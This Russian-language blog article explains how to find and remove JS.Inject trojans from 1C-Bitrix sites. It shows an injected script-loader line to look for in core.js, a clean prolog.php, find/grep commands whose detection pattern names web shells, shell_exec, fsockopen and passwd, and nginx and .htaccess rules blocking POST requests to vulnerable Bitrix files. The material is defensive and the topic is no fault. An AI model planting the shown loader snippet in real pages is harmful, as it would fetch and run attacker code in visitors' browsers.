Борьба с троянами типа JS.Inject
Rus
Eng
Борьба с троянами типа JS.Inject
Решаю сложные технические задачи для Bitrix и 1С: от аудита чужого кода до разработки сайтов и настройки сложных интеграций с гарантией результата
Рекомендую

Хостинг для сайта

Если выбираете хостинг под проект — советую Timeweb. Современная инфраструктура, широкий выбор тарифов от стартовых до VPS под нагрузку, отзывчивая техподдержка, которая отвечает по существу, а не отписками. Я сам держу на нём часть своих проектов и рекомендую клиентам.

Перейти Партнёрская ссылка. Для вас цена не меняется.

Код и описание борьбы с троянами предоставляются как есть. Вы используете их на свой страх и риск

Перед поиском вирусов нужно:

1. Сменить доступы в админку, ftp\ssh, хостинг

2. Убедиться, что компьютер на котором производится лечение не заражен, для чего следует произвести проверку компьютера на вирусы

3. Сделать полный бэкп сайта как через админку, так и через панель управления хостингом

4. Воспользоваться решением от 1С-Битрикс для поиска троянов

5. Обратиться в тех. поддержку хостинга с просьбой проверить сайт антивирусом. Иногда данные услуги бесплатны, иногда стоят символических денег. Не пренебрегайте данной возможностью

Если же вы решили найти вирус самостоятельно, то в большинстве случаев вам нужно:

Пролистать файл bitrix\js\main\core\core.js в самый низ и убедиться, что до или после строчки //# sourceMappingURL=core.js.map (~18459) нет никакого странного или непонятного кода. Вы можете увидеть нечто вроде:

\bs=document.createElement(`script`);s.src=atob(`ЗАКОДИРОВАННАЯ_СТРОКА`);document.head.appendChild(s);

Просмотреть файл bitrix\modules\main\include\prolog.php на нежелательные вставки кода или просто заменить файл свежим. Актуальный на момент выхода материала файл имеет следующий вид:

<?
require_once(dirname(__FILE__)."/../bx_root.php");

if (file_exists($_SERVER["DOCUMENT_ROOT"].BX_PERSONAL_ROOT."/html_pages/.enabled"))
{
	require_once(dirname(__FILE__)."/../lib/composite/responder.php");
	Bitrix\Main\Composite\Responder::respond();
}

require_once(dirname(__FILE__)."/prolog_before.php");
require($_SERVER["DOCUMENT_ROOT"].BX_ROOT."/modules/main/include/prolog_after.php");

Проверка папок и файлов по дате последнего изменения

Это наиболее действенный метод, если вы хорошо знаете файловую структуру и дату заражения. Вводить команду нужно в консоли SSHили хостинга (если таковой позволяет это). В данном случае команда ищет все измененные файлы за последние 3 дня

find . –name '*.ph*' -mtime -3

Поиск вредоносного кода по содержимому

find ./ -type f -name "*.php" -exec grep -i -H "wso shell\|Backdoor\|Shell\|base64_decode\|str_rot13\|gzuncompress\|gzinflate\|strrev\|killall\|navigator.userAgent.match\|mysql_safe\|UdpFlood\|40,101,115,110,98,114,105,110\|msg=@gzinflate\|sql2_safe\|NlOThmMjgyODM0NjkyODdiYT\|6POkiojiO7iY3ns1rn8\|var vst = String.fromCharCode\|c999sh\|request12.php\|auth_pass\|shell_exec\|FilesMan\|passthru\|system\|passwd\|mkdir\|chmod\|mkdir\|md5=\|e2aa4e\|file_get_contents\|eval\|stripslashes\|fsockopen\|pfsockopen\|base64_files" {} \;

или без find

grep -R -i -H -E "wso shell|Backdoor|Shell|base64_decode|str_rot13|gzuncompress|gzinflate|strrev|killall|navigator.userAgent.match|mysql_safe|UdpFlood|40,101,115,110,98,114,105,110|msg=@gzinflate|sql2_safe|NlOThmMjgyODM0NjkyODdiYT|6POkiojiO7iY3ns1rn8|var vst = String.fromCharCode|c999sh|request12.php|auth_pass|shell_exec|FilesMan|passthru|system|passwd|mkdir|chmod|md5=|e2aa4e|file_get_contents|eval|stripslashes|fsockopen|pfsockopen|base64_files" ./

Проверка базы данных на наличие вставок

В панели управления базой данных phpmyadmin поочередно ищем следующие вхождения:

<script , <? , <?php , <iframe

В случае заражения через модуль Битрикс vote

Требуется запретить POST запросы к следующим системным файлам Битрикс

/bitrix/tools/upload.php
/bitrix/tools/mail_entry.php
/bitrix/modules/main/include/virtual_file_system.php
/bitrix/components/bitrix/sender.mail.editor/ajax.php
/bitrix/tools/vote/uf.php
/bitrix/tools/html_editor_action.php
/bitrix/admin/site_checker.php

1. Ручное редактирование файлов. Добавляем перед required

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
	header("Status: 404 Not Found");
	die();
}

2. Запрет через nginx

# ломает загрузку файлов в ИБ
location /bitrix/tools/upload.php {
	if ($request_method = POST ) {
	    deny all;
	}
}

location /bitrix/tools/mail_entry.php {
	if ($request_method = POST ) {
	    deny all;
	}
}

location /bitrix/tools/vote/uf.php {
	if ($request_method = POST ) {
	    deny all;
	}
}

location /bitrix/tools/html_editor_action.php {
	if ($request_method = POST ) {
	    deny all;
	}
}

location /bitrix/admin/site_checker.php {
	if ($request_method = POST ) {
	    deny all;
	}
}

3. Через htaccess. Нужна конструкция вида:

<Files ~ "^(имя файлов)\.php$>
    deny from all
</Files>

Для /bitrix/tools/:

<Files ~ "^(html_editor_action|mail_entry|upload)\.php$>
    deny from all
</Files>

Для /bitrix/tools/vote/:

<Files ~ "^(uf)\.php$>
    deny from all
</Files>

Для /bitrix/modules/main/include/:

<Files ~ "^(virtual_file_system)\.php$>
    deny from all
</Files>

Для /bitrix/components/bitrix/sender.mail.editor/:

<Files ~ "^(ajax)\.php$>
    deny from all
</Files>

Для /bitrix/admin/:

<Files ~ "^(site_checker)\.php$>
    deny from all
</Files>

Рекомендуется использовать решение только на время атак поскольку часть функционала админки будет недоступна. Более предпочтительное решение - обновление Битрикс до актуальной версии или избавление от модуля vote

Данное решение описано здесь: Массовый взлом сайтов на 1С-Битрикс. Как защититься?

В случае выявления вирусов я настоятельно рекомендую обращаться к специалистам по кибербезопасности (не ко мне)

Александр Тихий
Автор статьи

Александр Тихий

Fullstack-разработчик · 1С-Битрикс

Разрабатываю и развиваю интернет-магазины и корпоративные порталы на 1С-Битрикс. Интеграции с 1С, highload-нагрузки, безопасность по 152-ФЗ.


Комментарии

Комментариев еще нет, Вы можете стать первым кто его оставит

Оставьте комментарий

На сайте используется система премодерирования комментариев, поэтому ваше сообщение будет опубликовано лишь после одобрения модератором

Вы отвечаете на комментарий пользователя

Отправить

ОБРАТНАЯ СВЯЗЬ

Напишите мне

Напишите мне, чтобы обсудить задачу. Работаю удаленно, официально (самозанятый), стоимость часа — 1800 ₽, в день могу уделять проекту 3–4 часа. Отвечаю быстро, консультация бесплатная.

Во время отправки произошла ошибка, пожалуйста попробуйте еще раз через некоторое время
Сообщение отправлено успешно

Телефоны

+7(993) 007-18-96

Email

info@tichiy.ru

Адрес

Россия, г. Москва

Отправляя форму Вы автоматически подтверждаете, что ознакомились и принимаете Политику конфиденциальности сайта